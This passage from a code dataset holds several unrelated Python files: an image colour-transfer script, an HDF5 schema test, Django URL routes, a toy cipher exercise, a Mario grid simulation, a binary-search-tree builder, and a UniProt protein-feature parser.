tqdm\nimport matplotlib.pyplot as plt\nimport matplotlib\nmatplotlib.use('Agg')\nfrom PIL import Image\nimport cv2\nimport numpy as np\n\ndef color_transfer(image, image_mask,\n target_mean, target_std,\n calc_channel=[True, True, True],\n DEBUG=False):\n \"\"\"\n transfer target color to image\n :param image: image image, a numpy array, HxWx3, may be RGB or LAB or HSV or ...\n :param image_mask: mask, a numpy array, HxW, 0 or 255, uint8\n :param target_mean: mean of each channel [c1, c2, c3], list, type is consistent with image (e.g. RGB)\n :param target_std: std of each channel [c1, c2, c3], list, type is consistent with image (e.g. RGB)\n :param calc_channel: if False in certain dim, skip that channel\n :return image_transfered: color transfered image, a numpy array, type is consistent with image (e.g. RGB)\n \"\"\"\n\n # calculate image mean, std of each channel, given mask\n # https://www.reddit.com/r/learnpython/comments/9gyg6h/image_processing/\n # image_mask is a 0 or 255 HxW np.array uint8\n # mean, std is 3x1 np.array\n image_mean, image_std = cv2.meanStdDev(image, mask=image_mask)\n\n # skip certain channel\n image_mean = np.squeeze(image_mean) * calc_channel\n target_mean = np.squeeze(target_mean) * calc_channel\n\n image_std = np.squeeze(image_std)\n target_std = np.squeeze(target_std)\n for c in range(3):\n if calc_channel[c] == False:\n image_std[c] = 1\n target_std[c] = 1\n\n # check\n image_mean = np.squeeze(image_mean)[np.newaxis, np.newaxis, :]\n image_std = np.squeeze(image_std)[np.newaxis, np.newaxis, :]\n if DEBUG:\n print(image_mean, image_std)\n target_mean = np.squeeze(target_mean)[np.newaxis, np.newaxis, :]\n target_std = np.squeeze(target_std)[np.newaxis, np.newaxis, :]\n if DEBUG:\n print(target_mean, target_std)\n\n # if only a color, then std would be 0, the result will be disgusting\n # if np.sum(target_std) == 0:\n # target_std += 10\n\n target_std[target_std == 0] = 10\n image_std[image_std == 0] = 10\n\n\n image_transformed = (image - image_mean) / np.sqrt(image_std) * np.sqrt(target_std) + target_mean \n image_transformed = image_mask[:, :, np.newaxis] / 255 * image_transformed + \\\n (1 - image_mask[:, :, np.newaxis] / 255) * image\n\n image_transformed = np.clip(image_transformed, 0, 255)\n return image_transformed.astype(np.uint8)\n\n\ndef color_transfer_wrapper(image, target_color_image,\n protocol, protocol_reverse,\n image_mask=None,\n target_color_image_mask=None,\n calc_channel=[True, True, True]):\n \"\"\"\n wrapper for color_transfer function\n will calc target_color_image's mean, std and convert it to image given image_mask\n\n :param image: image image, a numpy array, HxWx3, may be RGB or LAB or HSV or ...\n :param image_mask: mask, a numpy array, HxW, 0 or 255, uint8\n if not given, change all image\n :param target_color_image: a numpy array, HxW, 0 or 255, uint8\n :param target_color_image_mask: a numpy array, HxW, 0 or 255, uint8\n :param protocol: cv2 protocol (e.g. cv2.COLOR_RGB2LAB)\n :param protocol_reverse: cv2 protocol (e.g. cv2.COLOR_LAB2RGB)\n :param calc_channel: if False in certain dim, skip that channel\n :return image_transfered: color transfered image, a numpy array, uint8\n \"\"\"\n\n # if no mask, use whole image\n if type(image_mask) != np.ndarray:\n image_mask = np.ones((image.shape[0], image.shape[1])).astype(np.uint8) * 255\n if type(target_color_image_mask) != np.ndarray:\n target_color_image_mask = np.ones((target_color_image.shape[0], target_color_image.shape[1])).astype(np.uint8) * 255\n\n target_color_hsv = cv2.cvtColor(target_color_image, protocol)\n target_mean, target_std = cv2.meanStdDev(target_color_hsv, mask=target_color_image_mask)\n\n\n # if LAB channel, and its pure color, then set std to [10, 1, 1]\n if protocol == cv2.COLOR_RGB2LAB:\n target_std[0] = 10 if target_std[0] == 0 else target_std[0]\n target_std[1] = 1 if target_std[1] == 0 else target_std[1]\n target_std[2] = 1 if target_std[2] == 0 else target_std[2]\n\n\n image_hsv = cv2.cvtColor(image, protocol)\n image_transformed_hsv = color_transfer(image_hsv, image_mask, target_mean, target_std, calc_channel)\n image_transformed = cv2.cvtColor(image_transformed_hsv, protocol_reverse)\n\n return image_transformed\n\n\nif __name__ == '__main__':\n\n from get_mask import get_mask\n\n img_path = './data/img.png'\n img_mask_path = './data/img.json'\n target_color_img_path = './data/color.jpg'\n target_color_img_mask_path = './data/color.json'\n\n img = np.array(Image.open(img_path).convert('RGB'))\n img_mask = get_mask(img_path, img_mask_path)\n target_color_img = np.array(Image.open(target_color_img_path).convert('RGB'))\n target_color_img_mask = get_mask(target_color_img_path, target_color_img_mask_path)\n\n img_transformed = color_transfer_wrapper(img, target_color_img,\n cv2.COLOR_RGB2LAB, cv2.COLOR_LAB2RGB,\n image_mask=img_mask,\n target_color_image_mask=target_color_img_mask,\n calc_channel=[True, True, True])\n\n img_transformed_pil = Image.fromarray(img_transformed)\n img_transformed_pil.save('output.png')\n\n plt.figure(figsize=(20, 8))\n plt.subplot(151); plt.imshow(img); plt.title('image'); plt.axis('off')\n plt.subplot(152); plt.imshow(img_mask); plt.title('mask'); plt.axis('off')\n plt.subplot(153); plt.imshow(target_color_img); plt.title('target color'); plt.axis('off')\n plt.subplot(154); plt.imshow(target_color_img_mask); plt.title('target color mask'); plt.axis('off')\n plt.subplot(155); plt.imshow(img_transformed); plt.title('transformed'); plt.axis('off')\n plt.tight_layout()\n plt.savefig('output_concat.png')\n","sub_path":"pattern_changer/color_changer.py","file_name":"color_changer.py","file_ext":"py","file_size_in_byte":7990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"99565274","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# michael a.g. aïvázis \n# (c) 1998-2023 all rights reserved\n\n\n\"\"\"\nCheck that we can decorate groups with schema\n\"\"\"\n\n\ndef test():\n # support\n import pyre\n\n # declare the metadata group layout\n class Meta(pyre.h5.schema.group):\n \"\"\"\n A group of datasets in some HDF5 file\n \"\"\"\n\n # something simple\n id = pyre.h5.schema.int()\n id.__doc__ = \"a simple dataset\"\n\n # something a bit more complicated\n pols = pyre.h5.schema.strings()\n pols.default = \"HH\", \"VV\"\n pols.__doc__ = \"a dataset that's a container\"\n\n # and the main group layout\n class Group(pyre.h5.schema.group):\n \"\"\"\n The top level group\n \"\"\"\n\n # add the metadata\n meta = Meta()\n\n # now, make a group with this layout\n g = pyre.h5.api.group(at=\"/\", layout=Group())\n\n # it has no members\n assert tuple(g._pyre_contents) == ()\n # no subgroups\n assert tuple(g._pyre_groups()) == ()\n # no datasets\n assert tuple(g._pyre_datasets()) == ()\n # and no locations\n assert tuple(g._pyre_locations()) == ()\n\n # all done\n return g\n\n\n# main\nif __name__ == \"__main__\":\n # drive\n test()\n\n\n# end of file\n","sub_path":"tests/pyre.pkg/h5/api/group_subgroup.py","file_name":"group_subgroup.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"555010538","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('mangas/', views.mangas, name='mangas'),\n path('figuras/', views.figuras, name='figuras'),\n path('registro/', views.registro, name='registro'),\n path('listado-Mangakas/', views.listado_mangakas, name='listado_mangakas'),\n path('nuevo-mangaka/', views.crear_mangaka, name='crear_mangakas'),\n path('modificar-mangaka//', views.modificar_mangaka, name='modificar_mangaka'),\n path('eliminar-mangaka//', views.eliminar_mangaka, name='eliminar_mangaka'),\n path('listado-Mangas/', views.listado_mangas, name='listado_mangas'),\n path('nuevo-manga/', views.crear_mangas, name='crear_mangas'),\n path('modificar-manga//', views.modificar_mangas, name='modificar_mangas'),\n path('eliminar-manga//', views.eliminar_mangas, name='eliminar_mangas'),\n path('listado-Figuras/', views.listado_figuras, name='listado_figuras'),\n path('nuevo-figura/', views.crear_figuras, name='crear_figuras'),\n path('modificar-figura//', views.modificar_figura, name='modificar_figura'),\n path('eliminar-figura//', views.eliminar_figura, name='eliminar_figura'),\n path('contacto/' ,views.contacto, name='contacto'),\n path('listado-recetas/', views.listado_recetas, name='listado_recetas'),\n path('nueva-receta/', views.crear_recetas, name='nueva_receta'),\n path('modificar-recetas//', views.modificar_recetas, name='modificar_recetas'),\n path('eliminar-recetas//', views.eliminar_recetas, name='eliminar_recetas'),\n]\nurlpatterns +=[\n \n]","sub_path":"nenuko/catalogo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"527334480","text":"# -*- coding: utf-8 -*-\n\n\n# 08. 暗号文\n# 与えられた文字列の各文字を,以下の仕様で変換する関数cipherを実装せよ.\n\n# 英小文字ならば(219 - 文字コード)の文字に置換\n# その他の文字はそのまま出力\n# この関数を用い,英語のメッセージを暗号化・復号化せよ.\n\n# 参考\n# http://python.civic-apps.com/char-ord/\n\n\n\n\ndef cipher(chars,method):\n if method == \"encryption\":\n return [chr(219 - ord(c)) if 97 <= ord(c) <= 122 else c for c in chars]\n else:\n return [chr(219 - ord(c)) if (219 - 122) <= ord(c) <= (219 - 97) else c for c in chars]\n\n\nprint(\"\".join(cipher(\"ABCabc123\",\"encryption\")))\nprint(\"\".join(cipher(\"ABCzyx123\",\"decryption\")))\n\n","sub_path":"chapter_1/08.py","file_name":"08.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"425113476","text":"class Mario():\n def __init__(self, star):\n self.mario_x = 0\n self.mario_y = 0\n\n self.star_x = star[0]\n self.star_y = star[1]\n\n self.points = 0\n\n def check_star(self):\n if (self.mario_x == self.star_x and self.mario_y == self.star_y):\n self.points += 1\n\n def down(self):\n self.mario_y -= 1\n self.check_star()\n\n def left(self):\n self.mario_x -= 1\n self.check_star()\n\n def up(self):\n self.mario_y += 1\n self.check_star()\n\n def right(self):\n self.mario_x += 1\n self.check_star()\n\n def simulate(self, moves):\n mario = Mario([0, 2])\n for move in moves:\n if move == 'U':\n mario.up()\n elif move == 'L':\n mario.left()\n elif move == 'D':\n mario.down()\n elif move == 'R':\n mario.right()\n return mario.points\n\n\nwith open('../9/moves-1.txt') as f:\n moves = f.readline()\n print(Mario((0, 2)).simulate(moves))\n","sub_path":"session-9/homework_solution/9-2.py","file_name":"9-2.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"352877341","text":"\"\"\"\nReturn the root node of a binary search tree that matches the given preorder traversal.\n\n(Recall that a binary search tree is a binary tree where for every node, any descendant of node.left has a value < node.val, and any descendant of node.right has a value > node.val. Also recall that a preorder traversal displays the value of the node first, then traverses node.left, then traverses node.right.)\n\nIt's guaranteed that for the given test cases there is always possible to find a binary search tree with the given requirements.\n\nExample 1:\n Input: [8,5,1,7,10,12]\n Output: [8,5,10,1,7,null,12]\n\nConstraints:\n 1 <= preorder.length <= 100\n 1 <= preorder[i] <= 10^8\n The values of preorder are distinct.\n\"\"\"\n\nfrom binarytree import Node\ndef bstFromPreorder(preorder):\n node = Node(preorder[0])\n if len(preorder) == 1:\n return node\n right_tree_root = None\n for i in range(1, len(preorder)):\n if preorder[i] > preorder[0]:\n right_tree_root = i\n break\n if right_tree_root != None:\n if right_tree_root >= 2:\n node.left = bstFromPreorder(preorder[1: right_tree_root])\n node.right = bstFromPreorder(preorder[right_tree_root:])\n else:\n node.left = bstFromPreorder(preorder[1:])\n return node\n\np1 = [8,5,1,7,10,12]\nprint(bstFromPreorder(p1))\n","sub_path":"LeetCode-Python/1008 Construct Binary Search Tree from Preorder Traversal.py","file_name":"1008 Construct Binary Search Tree from Preorder Traversal.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"301304935","text":"#!/usr/bin/env python \n\"\"\"Parses the XML scheme of a uniprot protein and provides a python API \nfor quering and accessing the results \n\"\"\"\n# load the modules \nfrom __future__ import annotations\nimport numpy as np \nfrom Bio import SeqIO\nimport urllib\nimport os \nfrom typing import List, Tuple, Dict, Union\nclass Features:\n r\"\"\"The class provides a template for the features associated with a protein. \\\n The following features are associated with the protein \\ \n #signal peptide: dict \\\n The range of the signal peptides, if the protein has no signal, for example, a globular \\\n cytologic protein. None is used as a default, placeholder \\\n value. \\ \n #chains:dict \\ \n the chains making up the mature protein, the protein should at least have one chain. \\ \n #domain: dict\\ \n the known domains in the protein, if no domain is defined, None is used. \\ \n #modification sites: nested dict \\ \n that contains information about the PTM sites, glycosylation site and disulfide bonds. \\ \n #sequence variances: dict \\ \n which contains information about the sequence variants of a protein structure. \\ \n #split variance: dict \\ \n which contain known splice variants \\ \n ** Notes: Although disulfide bond is not a PTMs, it is being treated as a \\ \n one here to simplify the workflow. \\ \n \"\"\"\n def __init__(self,uniprot_id:str, temp_dir: str = None)->Features:\n \"\"\"Download the features associated with a protein from uniprot and then parse the results using SeqIO to extract the features\n \n :param uniprot_id: Uniprot id to download its XML scheme from Uniprot \n :type uniprot_id: str \n :param temp_dir: a temporary directory to download the XML scheme to it, if not provided files are download to the current working directory, defaults to None.\n :type temp_dir: str\n \"\"\"\n # download the files \n if temp_dir is None: \n temp_dir=\".\" \n # define the file path \n file_path: str = os.path.join(temp_dir,f\"{uniprot_id}.xml\")\n try: \n urllib.request.urlretrieve(f\"https://www.uniprot.org/uniprot/{uniprot_id}.xml\", file_path) \n except urllib.error.HTTPError: \n raise IOError(\"Downloading the provided fail, Check your provided uniprot id\")\n # read the sequence object \n record: SeqIO.SeqRecord = SeqIO.read(file_path,\"uniprot-xml\")\n # fill the provided record \n self.extracted_features=dict()\n # parse the features in the record.feature object\n for feature in record.features:\n # extract sequences signal peptide\n if feature.qualifiers[\"type\"]==\"signal peptide\":\n # Try to extract the start and end position for the chain\n # if this could no be extracted None is used as a default value\n try:\n start_index=int(feature.location.start)\n except(TypeError):\n start_index=None\n try:\n end_index=int(feature.location.end)\n except(TypeError):\n end_index=None\n self.extracted_features[\"SignalPeptide\"]={\n \"startIdx\":start_index,\n \"endIdx\":end_index\n }\n # extract the chain information\n elif feature.qualifiers[\"type\"]==\"chain\":\n if \"Chains\" in self.extracted_features.keys():\n chainIdx=len(self.extracted_features[\"Chains\"]) # get the chain index\n chainName=\"chain_number_\"+str(chainIdx)\n # Try to extract the start and end position for the chain\n # if this colud no be extracted None is used as a default value\n try:\n start_index=int(feature.location.start)\n except(TypeError):\n start_index=None\n \n try:\n end_index=int(feature.location.end)\n except(TypeError):\n end_index=None\n self.extracted_features[\"Chains\"][chainName]={\n \"chainId\":feature.id,\n \"startIdx\":start_index,\n \"endIdx\":end_index\n }\n else:\n \n try:\n start_index=int(feature.location.start)\n except(TypeError):\n start_index=None\n \n try:\n end_index=int(feature.location.end)\n except(TypeError):\n end_index=None\n \n self.extracted_features[\"Chains\"]={\n \"chain_number_0\":{\n \"chainId\":feature.id,\n \"startIdx\":start_index,\n \"endIdx\":end_index\n }}\n # extract the domain information\n elif feature.qualifiers[\"type\"]==\"domain\":\n if \"Domains\" in self.extracted_features.keys():\n self.extracted_features[\"Domains\"][\n feature.qualifiers[\"description\"]]={\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)}\n else: \n self.extracted_features[\"Domains\"]={\n feature.qualifiers[\"description\"]:{\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n }\n # extract transmembrane features:\n elif feature.qualifiers[\"type\"]=='transmembrane region':\n if \"transmembrane_region\" in self.extracted_features.keys():\n self.extracted_features[\"transmembrane_region\"].append((int(feature.location.start),int(feature.location.end)))\n else:\n self.extracted_features[\"transmembrane_region\"]=[(int(feature.location.start),int(feature.location.end))]\n # extract the topological information:\n elif feature.qualifiers[\"type\"]==\"modified residue\":\n if \"PTMs\" in self.extracted_features.keys():\n if \"Modifications\" in self.extracted_features[\"PTMs\"].keys():\n modificationIdx=len(self.extracted_features[\"PTMs\"][\n \"Modifications\"])\n modificationName=\"SeqModification_num_\"+str(modificationIdx)\n self.extracted_features[\"PTMs\"][\"Modifications\"][\n modificationName]={\n \"Name\":feature.qualifiers[\"description\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n else:\n self.extracted_features[\"PTMs\"][\"Modifications\"]={}\n self.extracted_features[\"PTMs\"][\"Modifications\"][\n \"SeqModification_num_0\"]={\n \"Name\":feature.qualifiers[\"description\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n else: \n self.extracted_features[\"PTMs\"]={}\n self.extracted_features[\"PTMs\"][\"Modifications\"]={}\n self.extracted_features[\"PTMs\"][\"Modifications\"][\n \"SeqModification_num_0\"]={\n \"Name\":feature.qualifiers[\"description\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n # extract and add glycosylation sites to the features class\n elif feature.qualifiers[\"type\"]==\"glycosylation site\":\n if \"PTMs\" in self.extracted_features.keys():\n if \"GlycoSite\" in self.extracted_features[\"PTMs\"].keys():\n glycositeIdx=len(self.extracted_features[\"PTMs\"][\"GlycoSite\"])\n glyco_site_name=\"Glyco_Site_number_\"+str(glycositeIdx)\n self.extracted_features[\"PTMs\"][\"GlycoSite\"][\n glyco_site_name]={\n \"Name\":feature.qualifiers[\"description\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n else:\n self.extracted_features[\"PTMs\"][\"GlycoSite\"]={}\n self.extracted_features[\"PTMs\"][\"GlycoSite\"][\n \"Glyco_Site_number_0\"]={\n \"Name\":feature.qualifiers[\"description\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n else:\n self.extracted_features[\"PTMs\"]={}\n self.extracted_features[\"PTMs\"][\"GlycoSite\"]={}\n self.extracted_features[\"PTMs\"][\"GlycoSite\"][\n \"Glyco_Site_number_0\"]={\n \"Name\":feature.qualifiers[\"description\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n # extract and add disulfide site to the feature class\n elif feature.qualifiers[\"type\"]==\"disulfide bond\":\n if \"PTMs\" in self.extracted_features.keys():\n if \"DisulfideBond\" in self.extracted_features[\"PTMs\"].keys():\n disulfideBondIdx=len(self.extracted_features[\"PTMs\"][\"DisulfideBond\"])\n disulfide_site_name=\"disulfide_site_number_\"+str(disulfideBondIdx)\n # try to extract the start and the end position.\n try:\n start_index=int(feature.location.start)\n except(TypeError):\n start_index=None\n try:\n end_index=int(feature.location.end)\n except(TypeError):\n end_index=None\n self.extracted_features[\"PTMs\"][\"DisulfideBond\"][\n disulfide_site_name]={\n \"Name\":feature.qualifiers[\"type\"],\n \"startIdx\":start_index,\n \"endIdx\":end_index\n }\n else:\n try:\n start_index=int(feature.location.start)\n except(TypeError):\n start_index=None\n try:\n end_index=int(feature.location.end)\n except(TypeError):\n end_index=None\n self.extracted_features[\"PTMs\"][\"DisulfideBond\"]={}\n self.extracted_features[\"PTMs\"][\"DisulfideBond\"][\n \"disulfide_site_number_0\"]={\n \"Name\":feature.qualifiers[\"type\"],\n \"startIdx\":start_index,\n \"endIdx\":end_index\n }\n else:\n self.extracted_features[\"PTMs\"]={}\n self.extracted_features[\"PTMs\"][\"DisulfideBond\"]={}\n self.extracted_features[\"PTMs\"][\"DisulfideBond\"][\n \"disulfide_site_number_0\"]={\n \"Name\":feature.qualifiers[\"type\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n # extract sequence variant from the protein sequence:\n elif feature.qualifiers[\"type\"]==\"sequence variant\":\n if \"SeqVar\" in self.extracted_features.keys():\n varient_index=len( self.extracted_features[\"SeqVar\"])\n varient_name=\"Sequence_varient_number_\"+str(varient_index)\n # check if the feature has a description entrey\n if \"description\" in feature.qualifiers.keys():\n snp_id=feature.qualifiers[\"description\"]\n else:\n snp_id=None\n # check if the feature has a original entrey\n if \"original\" in feature.qualifiers.keys():\n original_amino_acid=feature.qualifiers[\"original\"]\n else:\n original_amino_acid=None\n # check if the feature has a varient entrey\n if \"variation\" in feature.qualifiers.keys():\n varient_amino_acid=feature.qualifiers[\"variation\"]\n else:\n varient_amino_acid=None\n # fill the entries\n self.extracted_features[\"SeqVar\"][varient_name]={\n \"VarientId\":feature.qualifiers[\"id\"],\n \"SNP_Id\":snp_id,\n \"original\":original_amino_acid,\n \"variation\":varient_amino_acid,\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n else:\n self.extracted_features[\"SeqVar\"]={}\n if \"description\" in feature.qualifiers.keys():\n snp_id=feature.qualifiers[\"description\"]\n else:\n snp_id=None\n # check if the feature has a description entrey\n if \"description\" in feature.qualifiers.keys():\n snp_id=feature.qualifiers[\"description\"]\n else:\n snp_id=None\n # check if the feature has a original entrey\n if \"original\" in feature.qualifiers.keys():\n original_amino_acid=feature.qualifiers[\"original\"]\n else:\n original_amino_acid=None\n # check if the feature has a varient entrey\n if \"variation\" in feature.qualifiers.keys():\n varient_amino_acid=feature.qualifiers[\"variation\"]\n else:\n varient_amino_acid=None\n self.extracted_features[\"SeqVar\"][\n \"Sequence_varient_number_0\"]={\n \"VarientId\":feature.qualifiers[\"id\"],\n \"SNP_Id\":snp_id,\n \"original\":original_amino_acid,\n \"variation\":varient_amino_acid,\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n # extract splice vaients from the protein sequences: \n elif feature.qualifiers[\"type\"]==\"splice variant\":\n if \"SpliceVar\" in self.extracted_features.keys():\n SpliceVarIdx=len(self.extracted_features[\"SpliceVar\"])\n spliceVarient_name=\"splice_varient_number_\"+str(SpliceVarIdx)\n self.extracted_features[\"SpliceVar\"][spliceVarient_name]={\n \"Name\":feature.qualifiers[\"id\"],\n \"Isoform\":feature.qualifiers[\"description\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n else: \n self.extracted_features[\"SpliceVar\"]={}\n self.extracted_features[\"SpliceVar\"][\n \"splice_varient_number_0\"]={\n \"Name\":feature.qualifiers[\"id\"],\n \"Isoform\":feature.qualifiers[\"description\"],\n \"startIdx\":int(feature.location.start),\n \"endIdx\":int(feature.location.end)\n }\n # fill in the empty object with None:\n if \"SignalPeptide\" not in self.extracted_features.keys():\n self.extracted_features[\"SignalPeptide\"]=None\n if \"Chains\" not in self.extracted_features.keys():\n self.extracted_features[\"Chains\"]=None\n if \"Domains\" not in self.extracted_features.keys():\n self.extracted_features[\"Domains\"]=None\n if \"PTMs\" not in self.extracted_features.keys():\n self.extracted_features[\"PTMs\"]=None\n else:\n if \"Modifications\" not in self.extracted_features[\"PTMs\"].keys():\n self.extracted_features[\"PTMs\"][\"Modifications\"]=None \n if \"GlycoSite\" not in self.extracted_features[\"PTMs\"].keys():\n self.extracted_features[\"PTMs\"][\"GlycoSite\"]=None \n if \"DisulfideBond\" not in self.extracted_features[\"PTMs\"].keys():\n self.extracted_features[\"PTMs\"][\"DisulfideBond\"]=None \n if \"SeqVar\" not in self.extracted_features.keys():\n self.extracted_features[\"SeqVar\"]=None\n if \"SpliceVar\" not in self.extracted_features.keys():\n self.extracted_features[\"SpliceVar\"]=None\n if 'transmembrane_region' not in self.extracted_features.keys():\n self.extracted_features[\"transmembrane_region\"]=None\n return \n # accessor methods:\n def has_signal_peptide(self)->bool:\n \"\"\"\n :return: True if the protein has a signal peptide and False other wise.\n :rtype: bool\n \"\"\"\n if self.extracted_features[\"SignalPeptide\"]==None:\n return False\n return True\n \n def get_signal_peptide_index(self)->Tuple[int,int]:\n \"\"\"\n :return: The Index of the signal-peptide in the protein, if not signal peptide is defined, it returns None\n :rtype: Tuple[int,int]\n \"\"\"\n if self.extracted_features[\"SignalPeptide\"]==None:\n return None,None\n startIdx=self.extracted_features[\"SignalPeptide\"][\"startIdx\"]\n endIdx=self.extracted_features[\"SignalPeptide\"][\"endIdx\"]\n return startIdx,endIdx\n \n def has_chains(self)->bool:\n \"\"\"\n :return: True if the protein has/have chain/chains as feature and False otherwise.\n :rtype: [type]\n \"\"\"\n if self.extracted_features[\"Chains\"]==None:\n return False\n return True\n \n def get_number_chains(self) -> int:\n \"\"\"\n :return: The number of chains in the protein. if no chain is defined it returns zero.\n :rtype: int\n \"\"\"\n if not self.has_chains():\n return 0\n return len(self.extracted_features[\"Chains\"])\n \n def get_chains(self)->Dict[Dict[str,Union[str,int]]]:\n \"\"\"\n :return: A dictionary that contains the chains of the protein, if no chain is defined it return None\n :rtype: Dict[Dict[str,Union[str,int]]]\n \"\"\"\n return self.extracted_features[\"Chains\"]\n \n def has_transmembrane_domains(self)->bool:\n \"\"\"\n Returns:\n bool: True if the protein has transmembrane region and false otherwise\n \"\"\"\n return self.extracted_features[\"transmembrane_region\"]!=None\n\n def get_transmembrane_regions(self)->List[Tuple[int,int]]:\n \"\"\"return a list containing the boundaries of transmembrane regions in the protein \n\n Returns:\n List[Tuple[int,int]]: a list containing the boundaries of transmembrane regions in the protein \n \"\"\"\n return self.extracted_features[\"transmembrane_region\"]\n \n def get_num_transmembrane_regions(self)->int:\n \"\"\"Return the number of transmembrane regions on the protein \n\n Returns:\n int: Return the number of transmembrane regions on the protein\n \"\"\"\n print()\n if self.extracted_features[\"transmembrane_region\"]!=None:\n return len(self.get_transmembrane_regions())\n return 0\n\n def has_domains(self)->bool: \n \"\"\"\n :return: True if the protein has a defined domain/domains, otherwise it return False.\n :rtype: bool \n \"\"\"\n return self.extracted_features[\"Domains\"]!=None\n \n def get_number_domains(self)->int:\n \"\"\"\n :return: The number of domains a protein has, if no domain is defined it returns zero.\n :rtype: int\n \"\"\"\n if self.extracted_features[\"Domains\"] ==None:\n return 0\n return len(self.extracted_features[\"Domains\"])\n \n def get_domains(self)->Dict[str, Dict[str, int]]:\n \"\"\"\n :return: The domains defined in the protein sequence, if no domain is defined it returns None.\n :rtype: Dict[str, Dict[str, int]]\n \"\"\"\n return self.extracted_features[\"Domains\"]\n \n def has_PTMs(self)->bool:\n \"\"\"\n :return:True if the protein has a PTMs and False other wise\n :rtype: bool\n \"\"\"\n if self.extracted_features[\"PTMs\"] ==None:\n return False\n return True\n\n def has_disulfide_bond(self)->bool:\n \"\"\"\n :return: True is the protein has disulfide and False other wise\n :rtype: bool\n \"\"\"\n if self.has_PTMs():\n if self.extracted_features[\"PTMs\"][\"DisulfideBond\"]==None:\n return False\n else: \n return True\n return False\n \n def has_glycosylation_site(self)->bool:\n \"\"\"\n :return: True if the protein has a glycosylation site and False otherwise.\n :rtype: [type]\n \"\"\"\n if self.has_PTMs():\n if self.extracted_features[\"PTMs\"][\"GlycoSite\"] == None:\n return False\n else:\n return True\n return False\n \n def has_site_modifications(self)->bool:\n \"\"\"\n :return: True if the protein has a modification site and False otherwise\n :rtype: bool\n \"\"\"\n if self.has_PTMs():\n if self.extracted_features[\"PTMs\"][\"Modifications\"] == None:\n return False\n else:\n return True\n return False\n \n def get_PTMs(self)->Dict[str,Dict[str,Dict[str,Union[str,int]]]]:\n \"\"\"\n :return: a nested dictionary that contains the PTMs found within the protein \\\n the PTMs are classified into three main categories:\n\n 1- Modifications: which is the generic case and contain information \\\n about any sequence modification beside disulfide bonds and glycosylation.\n \n 2- glycosylation: contains information about glycosylation sites\n \n 3- DisulfideBond: contains information about disulfide bond\n\n :rtype: Dict[str,Dict[str,Dict[str,Union[str,int]]]]\n \"\"\"\n return self.extracted_features[\"PTMs\"]\n \n def get_PTMs_modifications(self)->Dict[str,Dict[str,Union[str,int]]]:\n \"\"\"\n :return: The generic modifications found on the protein. If the protein has no PTM, the function returns None.\n :rtype: Dict[str,Dict[str,Union[str,int]]]\n \"\"\"\n if self.extracted_features[\"PTMs\"] is None: return None\n if \"Modifications\" in self.extracted_features[\"PTMs\"].keys():\n return self.extracted_features[\"PTMs\"][\"Modifications\"]\n return None\n \n def get_PTMs_glycosylation(self)->Dict[str,Dict[str,Union[str,int]]]:\n \"\"\"\n :return: The glycosylation sites found on the protein. If the protein has no glycosylation sites, the function returns None.\n :rtype: [type]\n \"\"\"\n if self.extracted_features[\"PTMs\"] is None: return None \n return self.extracted_features[\"PTMs\"][\"GlycoSite\"]\n \n def get_disulfide_bonds(self)->Dict[str,Dict[str,Union[str,int]]]:\n \"\"\"\n :return: The disulfide sites found on the protein. If the protein has no disulfide sites, the function returns None\n :rtype: [type]\n \"\"\"\n if self.extracted_features[\"PTMs\"] is None: return None\n return self.extracted_features[\"PTMs\"][\"DisulfideBond\"]\n \n def get_number_PTMs(self)->int:\n \"\"\"\n :return: The number of PTMs the sequence has, this include di-sulfide bonds. See Note1 for more details. \\\n If the protein has no PTMs the function returns zero\n :rtype: int\n \"\"\"\n if not self.has_PTMs():\n return 0\n else:\n number_of_PTMs=self.get_number_modifications()+self.get_number_glycosylation_sites()+self.get_number_disulfide_bonds()\n return number_of_PTMs\n \n def get_number_modifications(self)->int:\n \"\"\"\n :return: Returns the total number of generic modifications found on the protein. \\\n if no modification is found it return 0\n :rtype: int\n \"\"\"\n if not self.has_site_modifications():\n return 0\n else:\n return len(self.get_PTMs_modifications())\n \n def get_number_glycosylation_sites(self)->int:\n \"\"\"\n :return: The number of glycosylation_sites the protein has, if the protein has no glycosylation sites, the function returns zero\n :rtype: int\n \"\"\"\n if not self.has_glycosylation_site():\n return 0\n else:\n return len(self.get_PTMs_glycosylation())\n \n def get_number_disulfide_bonds(self)->int:\n \"\"\"\n :return: The number of disulfide bonds the protein has, if the protein has no disulfide bonds, the function return zero.\n :rtype: int\n \"\"\"\n if not self.has_disulfide_bond():\n return 0\n else:\n return len(self.get_disulfide_bonds())\n \n def has_sequence_variants(self) ->bool:\n \"\"\"\n :return: True if the protein has a sequence variants, and False otherwise.\n :rtype: bool\n \"\"\"\n if 